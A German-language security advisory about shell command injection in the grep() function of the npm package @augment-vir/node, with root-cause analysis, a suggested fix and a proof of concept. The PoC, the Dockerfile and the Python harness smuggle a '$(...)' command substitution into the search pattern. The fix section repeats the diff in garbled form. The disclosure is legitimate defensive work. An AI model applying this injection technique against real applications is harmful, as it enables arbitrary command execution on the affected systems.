augment-virShell ermöglicht Befehlsinjektion in `grep()` über unbereinigtes `searchPattern`
Shell-Befehlsinjektion in grep() über unbereinigtes searchPattern
Zusammenfassung
Die von @augment-vir/node exportierte Funktion grep() fügt vom Aufrufer kontrollierte Suchmuster ohne Bereinigung direkt in einen doppelt gequoteten Shell-Befehlsstring ein (grep.ts:310). Wenn der erstellte Befehl an spawn() mit shell: 'bash' (shell.ts:98-99) übergeben wird, wertet bash im Muster eingebettete $()-Befehlssubstitutionsausdrücke aus, was zur Ausführung beliebiger Betriebssystembefehle unter dem Benutzer des Node.js-Prozesses führt. Jede nachgelagerte Anwendung, die nicht vertrauenswürdige Eingaben an das Feld pattern oder patterns von grep() übergibt, ist anfällig für nicht authentifizierte lokale (und potenziell entfernte) Codeausführung. CVSS-Basiswert: 7.8 (Hoch).
Details
Ursache: packages/node/src/augments/fs/grep.ts:310 mappt jedes Suchmuster ohne Bereinigung in das Shell-Fragment -e "${searchPattern}":
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
Der resultierende vollständige Befehlsstring wird an runShellCommand (grep.ts:320) weitergeleitet, welches streamShellCommand (shell.ts:221-224) aufruft, was schließlich Folgendes aufruft:
// shell.ts:98-99
const childProcess = spawn(command, {
shell, // defaults to 'bash' (shell.ts:92)
Da shell auf 'bash' gesetzt ist, interpretiert bash $() innerhalb des doppelt gequoteten Musters als Befehlssubstitution und führt diesen aus, bevor grep überhaupt ausgeführt wird.
Unvollständige Bereinigung: Ein escape()-Hilfsprogramm existiert unter grep.ts:178-180, ersetzt jedoch nur " durch \" und entfernt Zeilenumbrüche. Es wird auf excludePatterns, excludeDirs und includeFiles angewendet (grep.ts:297-308), jedoch nicht auf searchPatterns. Selbst wenn es angewendet würde, verhindert das Escapen von doppelten Anführungszeichen keine $()- oder Backtick-Substitutionen innerhalb von Bash-Doppelquote-Kontexten.
Datenfluss (Quelle → Senke):
| Schritt | Ort | Beschreibung |
|---|---|---|
| 1 | packages/node/src/index.ts:3 |
export * from './augments/fs/grep.js' — stellt grep() als öffentliche npm-API bereit |
| 2 | packages/node/src/augments/fs/grep.ts:223-226 |
grep() akzeptiert vom Aufrufer kontrollierte grepSearchPattern und grepSearchLocation |
| 3 | packages/node/src/augments/fs/grep.ts:228 |
searchPatterns abgeleitet von grepSearchPattern.patterns || [grepSearchPattern.pattern] |
| 4 | packages/node/src/augments/fs/grep.ts:269-314 |
fullCommand erstellt als einfacher Shell-String |
| 5 | packages/node/src/augments/fs/grep.ts:310 |
Senke: searchPattern eingefügt als `-e "${searchPattern}"` — kein Escaping angewendet |
| 6 | packages/node/src/augments/fs/grep.ts:320 |
fullCommand übergeben an runShellCommand |
| 7 | packages/node/src/augments/terminal/shell.ts:221-224 |
Weitergeleitet an streamShellCommand |
| 8 | packages/node/src/augments/terminal/shell.ts:98-99 |
spawn(command, { shell: 'bash' }) führt den zusammengestellten Befehlsstring aus |
Vorgeschlagene Behebung:
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+ return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
}
@@
- ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+ ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+ '--',
...searchParts,
Alternativ kann der Shell-String-Ansatz durch spawn('grep', args, { shell: false }) ersetzt werden, um die Shell-Interpretation vollständig zu vermeiden.
PoC
Voraussetzungen: Docker auf dem Host installiert. Alle Schritte laufen lokal in einem Container ab — keine Netzwerkexposition, keine echten Anmeldedaten, kein DoS.
Schritt 1 — Docker-Image erstellen:
docker build -t augment-vir-vuln-001-poc \
vuln-001
Schritt 2 — Exploit-Container ausführen:
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc
Kern-Exploit (exploit.mjs im Container):
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
Die Shell-Substitution $() im Muster führt dazu, dass bash touch /tmp/augment-vir-poc-triggered vor dem Ausführen von grep ausführt. Die Sentinel-Datei wird erstellt, selbst wenn das grep-Muster selbst in package.json mit nichts übereinstimmt.
Erwartete Ausgabe:
[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match
=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})
Minimale Reproduktion ohne Docker:
mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2
cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
{ file: 'package.json' },
);
EOF
rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE
Verifizierung: Sowohl die statische Analyse in Phase 1 als auch die dynamische Reproduktion in Phase 2 bestätigten die Schwachstelle. VULNERABLE und COMMAND INJECTION CONFIRMED wurden in stdout beobachtet; die Sentinel-Datei /tmp/augment-vir-poc-triggered wurde im Docker-Container erstellt.
Auswirkungen
Dies ist eine Schwachstelle für OS-Befehlsinjektion (CWE-78). Jede Anwendung, die grep() von @augment-vir/node mit benutzergesteuerten Eingaben im Feld pattern oder patterns aufruft, ist anfällig für die Ausführung beliebiger Befehle unter dem Benutzerkonto des Node.js-Prozesses.
- Vertraulichkeit — Hoch: Ein Angreifer kann beliebige Dateien lesen, auf die der Prozess Zugriff hat.
- Integrität — Hoch: Ein Angreifer kann Dateien schreiben oder löschen, Malware installieren oder Anwendungsdaten ändern.
- Verfügbarkeit — Hoch: Ein Angreifer kann Prozesse beenden oder Systemressourcen erschöpfen.
Der Angriffsvektor wird als Lokal eingestuft (der Angreifer muss den an pattern übergebenen Wert auf Bibliotheks-API-Ebene kontrollieren). In der Praxis eskaliert der Schweregrad zu netzwerkweit erreichbar, wenn ein Webdienst oder eine API eine vom Benutzer bereitgestellte Zeichenfolge auf den Parameter pattern von grep() abbildet. Es ist keine Authentifizierung oder spezielle Berechtigung erforderlich; die Funktion wird über den Haupteinstiegspunkt des Pakets exportiert und ist standardmäßig aktiviert.
Reproduktionsartefakte
Dockerfile
FROM node:22-slim
# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5
# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';
const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';
// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}
console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');
try {
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
} catch (err) {
// grep() may throw due to no matches — that is expected and irrelevant
console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}
if (existsSync(SENTINEL_FILE)) {
console.log('');
console.log('=== VULNERABLE ===');
console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
process.exit(0);
} else {
console.log('');
console.log('=== NOT EXPLOITED ===');
console.log('[-] Sentinel file was NOT created — injection did not fire.');
process.exit(1);
}
EOF
CMD ["node", "/poc/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2
Root cause:
packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
using unsanitized caller-supplied searchPattern inside double quotes:
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
This command string is passed to spawn(command, { shell: 'bash' }), meaning
$() command substitution in the pattern is executed by bash.
Safe usage: This PoC runs entirely inside a local Docker container.
No external network attacks, no real credentials, no DoS.
"""
import subprocess
import sys
import os
import json
IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"
def run(cmd, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[cmd] {cmd}")
return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)
def main():
print("=" * 60)
print("VULN-001 PoC: Shell Command Injection in grep()")
print("Package: @augment-vir/node@31.73.2")
print("=" * 60)
# Step 1: Build Docker image
print("\n[*] Building Docker image...")
build_result = run(BUILD_CMD, timeout=300)
if build_result.returncode != 0:
print("[!] Docker build FAILED")
print(build_result.stdout[-2000:] if build_result.stdout else "")
print(build_result.stderr[-2000:] if build_result.stderr else "")
write_result(
passed=False,
verdict="FAIL",
reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
evidence=build_result.stderr[-1000:],
)
sys.exit(1)
print("[+] Docker image built successfully")
# Step 2: Run exploit container
print("\n[*] Running exploit container...")
run_result = run(RUN_CMD, timeout=120)
combined_output = run_result.stdout + run_result.stderr
print(combined_output)
# Step 3: Evaluate result
vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output
if vulnerable:
print("\n[+] PASS — Command injection confirmed inside Docker container")
print("[+] The $() substitution in grep() pattern was executed by bash")
write_result(
passed=True,
verdict="PASS",
reason=(
"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(0)
else:
print("\n[-] FAIL — exploit did not produce expected output")
write_result(
passed=False,
verdict="FAIL",
reason=(
"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(1)
def write_result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": f"python3 {os.path.abspath(__file__)}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
with open(out_path, "w", encoding="utf-8") as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[*] Result written to {out_path}")
if __name__ == "__main__":
main()
Was zu tun ist
Aktualisieren Sie @augment-vir/node auf die Version 31.73.5 oder höher. Alternativ können Sie die vorgeschlagenen Behebungsansätze anwenden, etwa das Escapen von Befehlsersetzungszeichen (```diff
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw
\").replaceAll('\n', ''); +function shellQuote(input: string) {
- return
'${input.replaceAll("'", String.raw''').replaceAll('\n', '')}'; } @@
-
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
-
...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`), -
'--', ...searchParts,
```) oder die Verwendung von spawn('grep', args, { shell: false }), um die Shell-Interpretation gänzlich zu vermeiden.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @augment-vir/node | < 31.73.5 | 31.73.5 |
Verweise
- https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh
- https://nvd.nist.gov/vuln/detail/CVE-2026-63496
- https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437
- https://github.com/electrovir/augment-vir
- https://github.com/electrovir/augment-vir/releases/tag/v31.73.5
- CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-78- Plattform
- npm
- Paket
@augment-vir/node- Veröffentlicht
- 18.11.2026
- Aktualisiert
- 19.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-xvcc-vqjv-phqh - CC BY 4.0
Schwachstellenhistorie: @augment-vir/node
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
Dies ist die einzige bekannte Schwachstelle dieses Pakets.
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.